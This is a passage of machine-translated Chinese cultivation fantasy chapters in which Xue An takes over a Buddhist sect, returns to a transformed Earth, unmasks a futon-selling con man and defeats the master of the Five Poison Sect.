    The Master Bodhi looked at Xue An with bright eyes, "Now tell me, if you are facing such an existence, do you still have the confidence to fulfill the promise you just made?"


    I thought Xue An would hesitate, but what I didn''t expect was that Xue An didn''t even hesitate and nodded directly.


    "I still said that, no matter what it is, I am not afraid!"


    "Very good! Then I will also answer your question just now, this catastrophe, my tantric sect should be taken!"


    "Thank you!"


    "Don''t thank me. In fact, even if you don''t do this, I won''t stand by, because I still understand the truth that there are no eggs in the nest! And..."


    "That incident back then, I finally wanted to ask for an explanation!"


    Speaking of this, the master Bodhi suddenly laughed, "He thought that by erasing my memory, he could sit back and relax, but he didn''t know that I had found a picture through thousands of years of meditation."


    With that said, a light curtain slowly opened between Bodhi and Xue An, and a blurry picture emerged on it.


    In a chaotic world, a huge finger is pressing down.


    There is nothing else.


    Xue An looked at this picture, his eyes flickered, and he didn''t know what he was thinking.


    The master Bodhi said indifferently: "This is the shadow that remains in my Alaya Consciousness. Although the existence that obliterated my memory is powerful, it has forgotten that Alaya Consciousness can remember certain shadows!"


    Outside the high platform The many monks in the mandala began to stir slightly.


    Because a long time has passed since Xue An entered the high platform.


    No one knows what happened inside.


    Maitreya looked even more worried.


    "Brother, are you worried about this Red Lotus Immortal Venerable?" Guan Zizai appeared behind him and asked softly.


    Maitreya took a deep breath and nodded.


    "I''m really wondering, what exactly did he do to you so that you, who have always been arrogant, can be so convinced by him?"


    Maitreya turned his head and glanced at this Guan Zi, then chuckled lightly, "What? He defeated him, so I was a little unconvinced?"


    "Of course not, just curious!" Guan Zizai said softly.


    Maitreya looked at the high platform again and said lightly: "If I said that he shattered my attachment, would you believe it?"

 Chapter 2010： Current status of the earth

    Guan Zizai shook all over, then bowed his head thoughtfully, and stopped talking.


    At the same time, the high platform in front of it began to tremble slightly, and then collapsed silently, turning into a sky full of dust.


    Everyone was shaking.


    And at this moment, in the light and dust of the sky, Xue An walked out with his head high, and his body was shining, and an upright Buddha statue suddenly appeared behind him.


    "Master Bodhi!"


    After seeing the Buddha statue, all the monks knelt down and shouted with excitement.


    Guan Zizai, Maitreya and others also bowed to salute, "I have seen Master!"


    The Master Bodhi nodded slightly, and then said in a supremely majestic tone: "As Maitreya said, the Red Lotus Immortal Venerable has inherited the world-honored law and is the new leader of the Pure Land Buddha Kingdom!"


    The monks were delighted and admired, and joined their hands together in salute to Xue An.


    "See the Lord of Pure Land!"


    Maitreya''s face gradually became excited.


    Sure enough, I heard the Bodhi continue to say: "Not only that, but now I have ordered the Red Lotus Immortal to be the fundamental guru of your class, and what he said is my decrees. I cannot disobey it. Can you listen to it?"


    This statement came out.


    The monks were stunned.


    No one thought that the Bodhi Master would suddenly make such a decision.


    Only Maitreya rejoiced, folded his palms together, and bowed his head deeply.


    "Master Nan Wu, good and good!"


    Although there were all kinds of doubts in his heart, since the master Bodhi said, these monks nodded together after a little hesitation.


    "Disciple listen to the truth!"


    "Very well, then..." The Master Bodhi suddenly shouted, "Red Lotus Immortal Venerable!"


    Xue An said lightly: "Here!"


    "Take my decree!"


    After all, the master Bodhi stretched out his broad golden palms, covering Xue An''s head.


    Countless golden lights fell like rain and penetrated Xue An''s body.


    Xue An''s momentum began to rise steadily.


    Finally, when all the golden light finally dissipated, the Master Bodhi had disappeared, and Xue An slowly opened his eyes.


    boom!


    The entire mandala was trembling, and all the monks felt that a powerful and powerful power came crashing down, and they could not help but bow their heads deeply.


    Xue An looked around at everyone present, and finally slowly said: "This world is now used by me. You need to listen to my orders. If you don''t follow it, you will not forgive, understand?"


    The overwhelming murderous aura in the words shocked the monks, and the careful thoughts deep in some people''s hearts also disappeared, and they shouted in unison: "I will understand!"


    "well!"


    Xue An nodded, then cast his eyes on Maitreya who was standing in front of the crowd.


    "Mille!"


    "Disciples are here!" Maitreya stepped forward with excitement.


    "I order you to immediately lead the two masters of the Tibetan Vajra realm, and take this mandala to the Pure Land Buddha Kingdom, where you can arrange a heavy line of defense, no mistake!"


    "The disciple understands!" Maitreya replied.


    Xuan even raised his head and asked with a puzzled look: "Master, don''t you go back together?"


    "Me? Not going back for now." Xue An shook his head, "Because I still have something to do!"


    Maitreya wanted to ask what was going on, but looking at Xue An''s expression, he finally swallowed the words again.


    "Wait and go, I will return to the Pure Land Buddha Kingdom in March!"


    After all, Xue An flicked his sleeves, and his whole body rose into the sky, and disappeared into the sky in the blink of an eye.


    Maitreya took a deep look at the direction of Xue An''s departure, and finally turned his head to look at Guan Zizai and the others.


    "The master has already given the order. It should not be too late. I will leave immediately and go to...the Pure Land Buddha Kingdom!"


    "Yes!" The monks suddenly promised, and then they acted quickly.


    After a while, the mandala suddenly began to change its shape, and finally turned into a budding lotus, disappearing into the void at a very fast speed.


    And when the Tantric monks went to the Pure Land Buddha Kingdom, Xue An had also left the depths of the Xinghai Sea, rushing in a certain direction at a speed like a stream of light.


    at last.


    After a long journey for several days, a...blue planet loomed in the void ahead.


    It is the earth!


    The earth at this time has already changed its appearance.


    I saw it was bathed in the radiant light, countless spiritual energy gushing out, forming a huge spiritual spring, the top even extended tens of thousands of miles away, and then fell back, forming a thrilling arc of spiritual energy.


    Xue An stood in front of the earth, his gaze swept across the earth like a sword, but he saw that the whole earth was tightly wrapped in a magic circle, and the law of heaven was even more vast as the sea. Obviously during the time when Xue An left. , The earth has made great development.


    Xue An narrowed his eyes, then raised a golden light, silently hid into the circle, and disappeared.


    Beijiang.


    After several years of development, this city has become the premier metropolis in the entire China and the entire world.


    One after another, thousands of meters high rises from the ground, and there are countless verandas connected to each other forming a dense cobweb-like air transportation network.


    There is a flow of people on the streets, and there are many masters of spiritual cultivation.


    The martial arts seminary on the side of the road is even one next to the other, and from time to time there is a uniform voice of huha.


    But on this bustling street, no one noticed that a teenager in white suddenly appeared in the crowd.


    Xue An walked on the street, looking at the dazzling array of new things, a faint smile appeared at the corner of his mouth.


    No matter how many places he has been to, only the earth can give him such a strong human smoke.


    Xue An was not eager to find Tang Xuan''er and the others, but walked on the street with great interest.


    Although the time to leave this time is not long, the entire planet has undergone tremendous changes.


    He wanted to observe as a bystander, and then decide whether to implement the idea in his mind.


    Soon, before Xue An sneaked into a park, when he looked up and saw the name of the park, Xue An couldn''t help laughing.


    I didn''t expect to come here while walking.


    This is where Xue An and An Yan often visited when Xue An was just an ordinary man.


    It was also the first stop after Xue An returned from rebirth.


    It''s just that this park at this time is much more lively than before.


    Many students dressed in martial arts costumes lined up at the entrance of the park with all their faces in admiration, as if they were coming for a pilgrimage.


    Xue An was slightly stunned, but didn''t say anything. Instead, he followed the students and walked into the park.


    When stepping into it, Xue An found that the park has not changed at all, and all the layouts are the same as before.


    Only by the small lake in the park, there is an extra statue.


    A majestic statue of a man.

 Chapter 2011： 1 serious nonsense 8

    A look of astonishment flashed in Xue An''s eyes.


    Because this statue has a few big characters erected in front of it.


    The image of Xue Shenzun.


    Is it my statue?


    But no matter what Xue An looked at, he couldn''t connect this dull face, like a statue of a **** and Buddha in a temple, with him.


    But even under such a poorly shaped statue, a lot of students gathered, and some people could still be faintly heard saying something impassioned.


    Xue An approached curiously, only to see a man in a gray gown standing on the steps next to the statue, and said excitedly.


    "Students, Xue Shenzun started his legendary journey from here!"


    "At that time, Shenzun Xue was just like you, just an inexperienced young man. In order to make a living and feed the goddess An, he was exhausted. The biggest entertainment every day was to take the goddess An to sit by the small lake!


    Hearing this, Xue An''s eyes couldn''t help but a flash of brilliance.


    This guy... knows a lot!


    Back then, Xue An did often bring An Yan here to relax.


    But what did he talk about?


    At this moment, I saw this man looking at the students below, and said excitedly: "But do you know? It''s this seemingly inconspicuous walk, but Xue Shenzun has realized the martial law from it!"


    Hearing these words, Xue An almost didn''t laugh.


    What is martial art?


    What is that stuff?


    However, his performance made several students around him stare at him.


    One of the students lowered his voice and warned: "Be serious, the teacher is now talking about Xue Shenzun''s past, don''t blaspheme!"


    Xue An didn''t speak either, and simply picked up his shoulders and listened.


    At this time, the expression of the man who spoke became enthusiastic.


    "Since then, Xue Shenzun has embarked on a road against the sky, and behind it is the coercion of the heavens, becoming a peerless fairy!"


    I have to say that this man''s speech is still very contagious, at least all of these students have a leisurely and fascinating expression when they hear the words, and many boys are even more excited and shaking slightly.


    "And do you know, where did Xue Shenzun come to realize the principles of martial arts?" The man asked in a deep voice as he spoke.


    Many students shook their heads.


    The man chuckled, then patted the statue beside him with infinite sigh, and said proudly,


    "Then do you know why I am casting this statue here?"


    The students shook their heads again.


    "That''s because the root of everything comes from this small lake!" The man said excitedly, waving his arms.


    All the students present looked in the direction the man was pointing, but saw the small lake lying there unhappily. Apart from being clearer, there was nothing unique about it.


    But the man''s expression became more and more enthusiastic.


    "At that time, Shenzun Xue was the martial law that he understood before this small lake, so this is the origin of everything, but the world is so foolish that they don''t know the importance of this place, but I understand that there is a great truth here!"


    "That''s why I brought you here. I just want you to have some insights. Even if you get the vitality left by God Xue, it will be enough for you to walk around the world and sweep the same level!"


    The corners of the man''s mouth were frothy.


    There was even more commotion among the students present, and they were fascinated and excited.


    Xue An was a little dumbfounded.


    When did I enlighten myself from here?


    Why don''t I know?


    Isn��t this serious nonsense?


    And what is he planning to do?


    At this moment, I just listened to this man with a very serious expression.


    "Don''t get excited, I know you all want to do a good job here now, but have you ever thought about what kind of character Xue Shenzun is? That is a super genius who has overwhelmed the whole world. He can comprehend the great truth, can you?"


    As soon as this sentence came out, the eyes of these students all dimmed.


    Yes!


    Even the most arrogant person can''t say that he can have the talent of Xue Shenzun!


    The atmosphere in the field suddenly became lower.


    Many students even lowered their heads with a look of frustration and disappointment.


    But seeing this scene, the man''s eyes flashed with joy, and even he said with a stern face: "All raised their heads and looked at me!"


    These students all raised their heads and looked at the man blankly.


    I saw the man said bitterly.


    "Why? Just because of what I said, did you all lose your confidence? With your will, how can you be able to overcome obstacles and diligently on the road of cultivation? How are you different from waste?"


    "But..." The young man standing in the front was flushed and he wanted to explain something unconvinced.


    The man waved his hand, "Okay, don''t explain, I know what you are thinking, yes, there are indeed few people who can catch up with Xue Shenzun''s talent, but the method is what people think, and I will prepare it for you today. Got this!"


    As he said, the man suddenly pulled out an ordinary futon from behind, stroked his face with great care, and then slowly said, "What is this?"


    "Futon!" said the boy who wanted to explain before.


    "Wrong! This is not a futon, but the culmination of my decades of hard work!" At this point, the man''s expression became excited.


    "Do you know how much energy I spent on developing this futon? Yes, it looks like an ordinary futon, but in fact every stitch and thread in it has their special meaning!"


    "In particular, it is filled with soil that I deliberately obtained from Xue Shenzun''s hometown and has been refined by various complicated methods. It can be said that every futon contains a trace of Xue Shenzun''s energy. UU����www.uukanshu As long as .com sits on it, you can maximize your talents and even..."


    The man looked around the audience, his expression on his face almost distorted with excitement, "Like Shenzun Xue, he understands the truth of heaven and embarks on the road of practice!"


    boom!


    The whole audience was shaking.


    All the students were attracted by the beautiful vision described by this man.


    Xue An even stared at the man blankly. After a long time, two big characters appeared in his mind.


    Talent!


    Because Xue An almost believed these words.


    He even wondered a little whether he had really comprehended martial arts by sitting in front of this small lake.


    Even Xue An is the case, let alone the students present.


    I saw that each of them was as excited as a chicken blood, and several students were even more excited.

 Chapter 2011： Wouldnt your conscience hurt if you were so deceiving? ...

    "Master, can you give me this futon? I am willing to pay 10,000 Chinese coins!"


    "I pay 20,000!"


    "Thirty thousand!"


    The shouts came one after another.


    A touch of joy appeared in the man''s eyes, but his face was still light and windy.


    "It stands to reason that I shouldn''t collect money from you. After all, I am a compatriot in China, and it is reasonable to help you improve your cultivation. However, this futon does cost me a lot of effort, if..."


    Before he finished speaking, I saw the young man who spoke first raised his hand with a flushed face, and said solemnly: "Master, I will pay 100,000 yuan, please sell this futon to me!"


    Hearing this price, the man''s eyes were full of joy, but he still sighed with difficulty.


    "Well, it seems that you really want it, so I will give you this futon with reluctance! But you must remember, no matter what you realize, you must not have the slightest treacherous heart, otherwise I will not take you away , Xue Shenzun will also take care of you!"


    The man gave a few serious warnings.


    The student nodded solemnly, and then respectfully took over the futon from the man''s hand.


    "Don''t worry, Master, I will definitely not disappoint your expectations!"


    "Yeah!" The man nodded, and suddenly took out a QR code, "Come on, scan the code and transfer!"


    The young man couldn''t wait to transfer the money, and then hurried to the small lake, chose an open position, then put down the futon, sat on it and started to meditate with closed eyes.


    Upon seeing this scene, the remaining students couldn''t help being anxious.


    "Master, do you have any futons? Sell me one, and I''m willing to pay one hundred thousand!"


    "Yes, there is me!"


    In the noise of the drum, the man made a few chuckles because it was difficult.


    "Oh, this...it''s not without it, the point is that I keep these futons for my own use, this..."


    "I beg Master, you should sell it to me. If I can understand the principle of the great principle, I will definitely not forget your great kindness, Master!" Some students begged.


    "Yeah, yeah, please, Master, you can sell us the futon!"


    That''s it, the man still pondered for a long time before he reluctantly said: "Well, then I will give you all the futons that I planned to keep for my own use!"


    These students were overjoyed, "Thank you, Master!"


    So it was another scan code transfer, and then these students rushed to the lake with their futon in their hands, and started to meditate with their eyes closed.


    For a time, the entire small lake was filled with students.


    The man laughed a few times when he saw it, and then he decided to turn around and leave contentedly.


    But at this moment, only a faint voice reached his ears.


    "You are so deceptive, don''t your conscience hurt?"


    Upon hearing this, the man suddenly turned his head, but saw a young man in white standing not far away looking at him with a smile.


    Seeing that it was not a security guard, the man let out a sigh of relief, and then said sternly.


    "Young man, what you said is wrong, where am I deceiving? Those futons are all made by me with a lot of effort, and they can really improve their talents and understand the great truth left by Xue Shenzun! If you speak such nonsense, be careful I sue you for slander!"


    "Oh, is it? So what is this?"


    With that, Xue An flipped his wrist, and a supermarket shopping receipt appeared in his hand.


    It clearly says that the futon pays 20 yuan!


    Upon seeing this, the man suddenly touched his trouser pocket, his face changed in an instant.


    "Friend, can you take a step to speak!"


    The man glanced at the students who were meditating in the distance, then lowered his voice and said.


    "Okay!" Xue An said lightly.


    Seeing the expression on Xue An''s face, the man gritted his teeth, turned and walked towards a flower garden in the distance.


    Xue An followed slowly.


    After arriving here, the man suddenly turned around and asked in a deep voice: "Friend, dare you to ask which way you are on?"


    "Me?" Xue An smiled faintly, "I am not in any way!"


    But the man didn''t believe it at all, so he asked in a deep voice, "This is the site of Big Brother Lu Kunlu, dare you to ask if you are his subordinate?"


    "Lu Kun?" Xue An suddenly remembered the name, then smiled and shook his head, "Of course not!"


    The man even breathed a sigh of relief, "After a long time of trouble, it turned out to be a passing snake!"


    "What is a passing snake?" Xue An asked in surprise.


    "Haha, my friend, it''s not right for you to pretend to be so confused. Since you are not on any of the roads, isn''t it a passing snake?"


    As he said, the man''s expression became more relaxed, "However, since you have broken my whereabouts by drinking this time, I think I am unlucky. I can share half of the proceeds with you this time, but please don''t show up here in the future, otherwise You will hurt me!"


    But he never expected that Xue An would not be moved at all, but looked at him with a strange look.


    "What else are you looking at? This half of the income is already the highest price I can give me out of justice, don''t be too greedy!" The man said with a vigilant face.


    Xue An suddenly laughed, "Don''t worry, I won''t ask for any of your benefits."


    "Then what do you want to do?" the man asked suspiciously.


    "I just want to know what happened to your injury. What is it that can make a strong man who is also an immortal realm fall here."


    This statement came out.


    The man''s expression changed suddenly, and he took a few steps back and looked at Xue An with a guarded face.


    "This matter has nothing to do with you, and I don''t want to tell you!"


    After that, he turned around and left.


    But at this moment, only Xue An said calmly: "As a monk, if you don''t even have the courage to face, how can you go against the sky?"


    Hearing these words, the man stopped abruptly, lowered his head and was silent for a moment, before he smiled bitterly.


    "It''s useless, even if I dare to face it, what can I do? It''s not something I can afford and young people, I advise you to ask less, otherwise it will be easy to get angry. By then, no one can help you."


    After all, the man strode away without looking back.


    Xue An looked at his back and fell into contemplation.


    At the beginning, Xue An thought this person was just a liar, but after a little investigation, Xue An suddenly discovered that this person was actually a strong man of longevity.


    Although this strength is not enough in front of Xue An, it is already considered good above the earth.


    No matter what you do, you won''t fall here.


    But a closer inspection of Xue An found that all of this man''s strength had been sealed by some insidious means.


    That''s why Xue An asked just now.


    And listening to what this man said, there seemed to be something hidden inside.


    Therefore, Xue An quietly concealed into the void after a moment of silence, and followed from behind.

 Chapter 2013： What I like the most is dealing with giants...

    I saw this man cross a bustling street, then turned into a deep alley.


    No matter how glamorous the city is, there is inevitably such a dark corner.


    Beijiang is no exception.


    I saw that the road was muddy and dirty, and even the air was filled with a strong smell.


    After reaching the depths of the alley, the man suddenly stopped, and then looked around, his expression became very nervous.


    At this moment, not far in front of the man, a group of gray shadows slowly condensed, and then he heard a cold voice coming from inside.


    "Is today''s task completed?"


    The man trembled all over, lowered his head in a hurry, didn''t even dare to even look at this gray shadow, and said with a trembling, "Going back to your lord, today''s income has just been transferred!"


    "Well, good, this is your antidote!"


    After all, a white light flew out from the gray shadow.


    The man was busy catching it, finally showing a touch of relief on his face.


    "Thank you, sir!"


    "Jie Jie, work hard and perform well. I can apply to the suzerain to let his old man show mercy and heal your injuries completely!"


    "Yes, yes!" The man nodded and bowed.


    "Okay, I won''t tell you. Today, I will follow the master to a grand dinner. By then, the young and old of the major families in the provincial capital will be there. I have to prepare in advance!"


    After all, the gray shadow began to fade away.


    But at this moment, the space shook suddenly, and then the gray shadow that had dissipated directly solidified.


    "What''s the matter? Who was it that started secretly?" A roar came from the gray shadow.


    But the roar just fell, but Xue An''s figure appeared at the entrance of the alley.


    After seeing Xue An, the man''s eyes instantly widened.


    what happened?


    How could it be him?


    When he was puzzled, Xue An smiled faintly, and then stepped into the void.


    Seeing this scene, the yelling Gray Shadow instantly closed her mouth.


    Because fools can also see, this man in white is obviously very human.


    Just walking in the air with this hand is enough to shock people.


    At the same time, Xue An came to this gray shadow, first glanced at the man faintly, and then smiled slightly.


    "I didn''t expect to meet again so soon!"


    The man trembled, his head buried lower.


    "Is this the existence you have never dared to face?" Xue An turned to look at the gray shadow, and said lightly.


    Hui Ying''s knot twisted for a while, and then a sinister voice came from it.


    "Friend, I don''t seem to have seen you before! Why do you imprison me here?"


    Although his tone was cold, his tone became more polite.


    Xue An smiled at the words, and then said lightly: "I use evil poison to control others for my use. Who taught you this method?"


    As soon as the words came out, the gray shadow trembled slightly, and then listened to the voice inside and calmly said: "What are you talking about? I don''t understand!"


    "Oh? Don''t understand? That''s fine, then I will let you understand today!"


    After all, Xue An''s eyes flashed with brilliance, releasing a trace of power.


    boom!


    Although it was only less than one percent of the power, it seemed to the man and this gray shadow that the sky had fallen.


    The gray shadow shattered in an instant, and then fell out of it a man with a sharp-mouthed monkey cheek and an ugly appearance.


    The man fell straight into the muddy water, but couldn''t even move. He could only look at Xue An with infinite horror.


    Xue An looked indifferently, and then asked, "Do you understand now? If you don''t understand anymore, I still have a way to make you understand and understand?"


    Under the question of the last two words, the man''s face was as white as paper, and then he nodded hurriedly.


    Xue An raised his head to look at the man who had swaggered and deceived before, and smiled slightly, "Dare you face it now?"


    This one is also dumbfounded.


    Because he couldn''t think of it, the white-clothed boy who happened upon him by the lake had such strength.


    But who is he? This person is simply puzzling.


    Because the strength of Xue An today is too tyrannical, when he appears in this mundane world, the laws of the earth will actively cover his face, making people feel as if they have seen him, but they can��t remember him at all. Looks.


    Therefore, neither the slanderable man nor the gray shadow man recognized Xue An''s identity.


    At this moment, Xue An lowered his head and asked the man lying on the ground, "Now tell me, what is the matter with these poisons on your body, and who taught you it!"


    The man hurriedly said, "My lord, forgive me! I was given to me by the patriarch. I don''t know anything else!"


    "Oh? Sovereign? What kind?"


    "This����."


    "Huh?" Xue An raised his eyebrows slightly.


    The man was so scared that his hairs stood upright, and he immediately said: "It is the Five Poison Sect, my lord, I am the descendant of the Five Poison Sect, named Yang Hui, who taught me these skills and allowed me to control these people, then It is Lu Yang, the lord of the Five Poison Sect!"


    Then, the man was like pouring beans from a bamboo tube, telling everything he knew.


    It turns out that these five poison sects are newly emerged sects, and the lord is this Lu Yang. This person has strange and unpredictable methods in his hands, and is especially good at blending all kinds of incredible poisons.


    The man who scammed and deceived by the lake was named Shi Teng, who was sealed with poison by Lu Yang and eventually became his puppet.


    Moreover, according to what Yang Hui said, not only he was the only one under the Five Poison Sect, but there were also many disciples who managed these puppets trapped in poison.


    After saying these things, Yang Hui looked at Xue An pleadingly.


    "My lord, what I said is true, everything was instructed by Lu Yang, and even I was poisoned by him, so please forgive me!"


    Xue An suddenly laughed, "What are you so afraid of? I didn''t intend to kill you!"


    "Really?" Yang Hui was overjoyed.


    "Of course it is true, but just now I heard you say that tonight you are going to attend a dinner with your suzerain. What is going on?"


    Speaking of this, Xue An''s eyes flashed with brilliance.


    Yang Hui''s expression became even more ugly But after a little hesitation, he couldn''t help but sigh.


    "My lord, although I don''t know whether to say or not, I still want to advise you that these things are not your responsibility!"


    "Oh? Why do you say that?"


    "Because the people attending today''s dinner are all young talents who are famous in the provincial capital and Beijiang. No one can look at me with an identity like me, and their strength is not to be underestimated, so you..."


    Although the latter words are not finished, the meaning is already obvious.


    Just to persuade Xue An not to be nosy.


    But Xue An just smiled slightly.


    "Coincidentally, my favorite thing is to deal with these wealthy children, so tonight, I have to go there to see how amazing these young talents are, and even dare to master the evil methods of Yinshu. To deal with the existence of!"


    In the end, Xue An''s words revealed a bit of murderous intent.

 Chapter 2014： The mere ants dare to call themselves this seat

    Beijiang.


    Tamron Building.


    As the new landmark of Beijiang, this building is thousands of stories high. Compared with it, the previous landmark of Beijiang, Longtai Building, looks a bit dwarfed.


    If it were other people, they would definitely not dare to avoid the limelight of Longtai Building on the border of Beijiang, because who didn''t know that Longtai Building was the property of the Qin Group.


    The only exception is the Tamron Building, because the group that built it is called Tianyuan.


    Heaven!


    Back then, it grew rapidly with a magic potion, and eventually became the giant group that is involved in all industries.


    It is said that the Big Three of the Tianyuan Group are Xue Shenzun��s classmates, which makes this group an existence that no one dares to provoke.


    Therefore, the Tenglong Building soon became a veritable sales gold cave in Beijiang, where countless high-end restaurants and hotels have moved in.


    Many top refining qi dojos and martial arts halls have their headquarters here.


    In short, being able to enter the Tamron Building to dine has become a status symbol.


    And today.


    It''s in a luxurious private room on the top floor of the Tamron Building.


    The young generation of talents from the provincial capital and Beijiang gathered together, chatting and laughing.


    Everyone has a hint of pride on their faces, because they do have the capital of pride.


    After all, being able to enter here requires not only the family''s industry to reach the 100 billion level, but also the talent and cultivation base that can surpass ordinary people.


    Not to mention anything else, but among the young people present, there is no shortage of strong immortals.


    You must know that this cultivation base was placed a few years ago, and it was considered a rare existence in the entire world.


    But when these young people glanced at the sofa in the middle of the room, there was a look of awe in their eyes.


    Because there are a few people sitting on this sofa, and each of them has a cultivation base no weaker than the Golden Immortal level.


    This also shows how high the status and status of these people are.


    At this moment.


    The people sitting on this sofa are also talking about something.


    "Jiang Shao, after taking the pills formulated by Sect Master Lu last time, I have consciously improved my cultivation." A man with a sallow complexion and sunken eye sockets suddenly looked as if he was hollowed out by alcohol and laughed.


    It is the descendant of a new and cutting-edge family from the provincial capital.


    "Yeah! I have this feeling too. It seems that Sect Master Lu is really a man of God!" The other man with a bearish back but with a dim look in his eyes also said with a grin.


    The man''s name is Jiao Ganghao, a native of Beijiang, and his family is quite extraordinary.


    But the tallest person was the young man sitting in the middle, and he was extraordinary and arrogant.


    It is Jiang Hongzhe, the young and up-to-date Jiang family.


    After hearing the words of the two friends, this Jiang Shao smiled slightly.


    "That''s natural, this Sect Master Lu is a man of great ability!"


    "Speaking of this, I can''t wait anymore. I don''t know what new things this Sect Master Lu can bring to us!" The Jiao Ganghao rubbed his hands and said with a smile.


    At this moment, I heard a hoarse laughter coming from outside the door.


    "Young Master Jiao don''t need to be so anxious, isn''t this here for you!"


    Following the voice, the door opened without wind, and then a middle-aged man dressed in black floated in from outside.


    That''s right!


    It is the whole person floating in the air, floating in like a ghost.


    It is Lu Yang, the lord of the Five Poison Sect.


    And behind him, he followed several disciples.


    Seeing his appearance, everyone including Jiang Hongzhe stood up.


    "Sect Master Lu!"


    "I have seen Sect Master Lu!"


    Lu Yang quacked, flew to the sofa lightly, circled Jiang Hongzhe and others, and then nodded in satisfaction.


    "Well, yes, it seems that the pill I gave you last time, you all took it on time!"


    "That''s natural, just don''t know what kind of pill will be there this time?" Jiao Ganghao said impatiently.


    "Young Master Jiao don''t need to be so anxious. This time I specially prepared some unusual gifts. You will know later!"


    With that, Lu Yang turned to look at the disciple behind him.


    "Yang Hui hasn''t come yet?"


    "Back to Sect Master, not yet!"


    Lu Yang frowned, "Yang Hui is usually the first to come, what happened this time?"


    Just as he was uncertain, he heard a sound of footsteps outside the door, and then Yang Hui walked into the room.


    "metropolitan!"


    Lu Yang snorted coldly, "Why is it so late this time?"


    Yang Hui did not speak, but looked at Lu Yang with a pale face.


    Lu Yang''s brows rose instantly, "Asshole, I''m talking to you, don''t you hear it?"


    If he stayed in the past, as long as he sinks his face and accumulates his might, Yang Hui will immediately fall to his knees [www.haxxs.biz].


    But this time I don''t know what happened.


    Yang Hui didn''t even react at all, but looked directly at Lu Yang.


    Lu Yang was furious. If you know that there are so many big and young people watching now, wouldn''t he be ashamed if he couldn''t even deal with an apprentice?


    Therefore, his face became gloomy for an instant, and then he said gloomily: "It seems that you are really itchy. Today, I will let you see and see, so let me kneel down!"


    With the words, the eyes of this Lu Yang turned dark red, and the gray mist lingered around him, trying to induce the poison that had long been buried in Yang Hui.


    At this moment, I suddenly heard a light laugh coming from outside the door.


    "This seat...hehe, you are worthy of calling yourself this seat?"


    "Who is talking?" Lu Yang roared.


    The only response to him was the unhurried footsteps, and then he saw Xue An stepping into the room, followed by Shi Teng behind him.


    After seeing Xue An, the audience was taken aback.


    People did not recognize Xue An because of the concealment of the Law of Heaven, but everyone felt that Xue An was familiar, but they couldn''t tell where they were familiar.


    Lu Yang stared at Xue An even more, and only after a long time did he let out a miserable weird smile.


    "Boy, do you know who you are talking to?"


    Xue An smiled and shook his head I don��t know! "


    "Hmph, I am the Sect Master of the Five Poison Sect, Lu Yang, this is Jiang Hongzhe, the youngest of the Jiang family, and Jiao Shao and others." Lu Yang said domineeringly.


    Xue An didn''t even look straight at Jiang Hongzhe and the others, but looked at this Lu Yang meaningfully, and suddenly said, "Then you know, who are you talking to again?"


    Lu Yang grinned open, revealing a sharp tooth.


    "I care who you are. When you arrive at this place today, you will be honest with me, otherwise don''t blame me for not reminding you!"


    "Yes, boy, where did you jump out? How dare you talk to Sect Master Lu like this?" Jiao Ganghao shouted coldly.


    Jiang Hongzhe didn''t speak, but the indifference and arrogance on his face also proved his thoughts.


    Xue An raised his eyes and glanced at Jiang Hongzhe and Jiao Ganghao, and then shook his head.


    "My life is almost sucked up, and it''s so stupid to even help people to speak!"

 Chapter 2015： Things Outside of Heaven ● Jade Jue

    Lu Yang''s expression changed drastically when he said this.


    what happened?


    How would he know this?


    But Jiao Ganghao thought Xue An was mocking him for being stupid, so he roared and rushed towards Xue An.


    But he just rushed halfway, Xue An just glanced at him lightly.


    A majestic power came on, directly pressing him to the ground, unable to move anymore.


    This scene also caused a violent commotion in the audience.


    "Jiao Shao!" Many people exclaimed in a loss.


    Jiang Hongzhe''s expression even sank, and he raised his hand to cut out a sword gas towards Xue An.


    Jianguang slashed towards Xue An like a horse.


    Xue An raised his eyebrows slightly, "Yu family Jianyi? When did the Yu family have a stupid heir like you!"


    When the words fell, the sword reached, and then it broke silently and turned into nothing.


    Jiang Hongzhe''s expression changed, and he exclaimed, "How is it possible?"


    "Why is it impossible?" Xue An said lightly.


    Jiang Hongzhe''s complexion became extremely solemn.


    He couldn''t accept that the Jian Qi he was so proud of would be so unbearable to lose.


    All this happened extremely quickly, from the time Jiao Ganghao started to the destruction of Jiang Hongzhe''s sword qi, it took only a snap of time.


    And that was at this moment, Lu Yang, who had been standing far away and could not bear it, started doing it now.


    But seeing strands of gray mist woven into a huge wire mesh, it shrouded towards Xue An.


    Wherever the fog passes, even the air is corroded with a sizzling sound, which shows its toxicity.


    It''s near!


    Closer!


    Seeing Xue An had been unmoved, as if he didn''t know how to avoid it, Lu Yang couldn''t help showing joy.


    No matter how strong you are, as long as you are poisoned by yourself, you will never want to survive!


    But when he was full of pride, he suddenly saw a deep mockery flashing in Xue An''s eyes.


    It''s as if the giant tree standing up on the earth is laughing at Mayfly''s self-defeating ability.


    Then he didn''t wait for Lu Yang to react.


    These cages broke apart every inch of Xue An''s gray mist, and then vanished into nothing.


    Lu Yang couldn''t believe his eyes.


    "This... this is impossible!"


    But Xue An didn''t give him much time to be surprised, but saw Xue An calmly said: "Kneel down!"


    thump!


    Lu Yang felt like there was an extra mountain above his shoulders, and he knelt on the ground with a plop. The force was so strong that he even smashed the floor into a deep hole, and his knees shattered instantly.


    "Ah ah ah ah ah!" Lu Yang eat the pain, however, screaming up.


    But in the next second, he closed his mouth obediently, because Xue An didn''t know when he had appeared in front of him, and looked at him condescendingly.


    Staring at these eyes full of indifference and majesty, Lu Yang felt that all his blood was cold.


    "Now I ask you to answer. If the answer satisfies me, I will let you go. If not, imagine the consequences for yourself and understand?"


    Lu Yang nodded frantically.


    "Where did you learn this insidious technique?"


    "This..." Lu Yang hesitated.


    "Ok?"


    The strength of the depression increased again, and Lu Yang felt that all his bones were being crazily compressed, and he was frightened and shouted frantically.


    "It''s the abyss! I learned this from the abyss!"


    "abyss?"


    "Yes, it''s the abyss!"


    At first, Xue An cut open the abyss channel, connecting the abyss with the earth.


    Therefore, since then, there has been a wave of treasure hunting in the abyss above the earth.


    Although there are many dangers in the abyss, danger often means opportunity.


    Especially after a few lucky ones have gotten a lot of rewards from it, many people have been stimulated to plunge into the abyss one after another.


    This Lu Yang is also one of them.


    The original Lu Yang was just an ordinary heaven and human state.


    This kind of cultivation is only slightly stronger than ordinary people in the current earth.


    Although Lu Yang gave up the practice of forgetting to sleep and eat, he was not allowed to make it at all because of his talent.


    In despair, he took the risk, and simply went to the abyss to take a chance.


    As a result, he did not expect that the chance was really found by him.


    At that time, he strayed into a space-time gap. He thought he was bound to die, but he didn''t expect to get a strange jade decision from it.


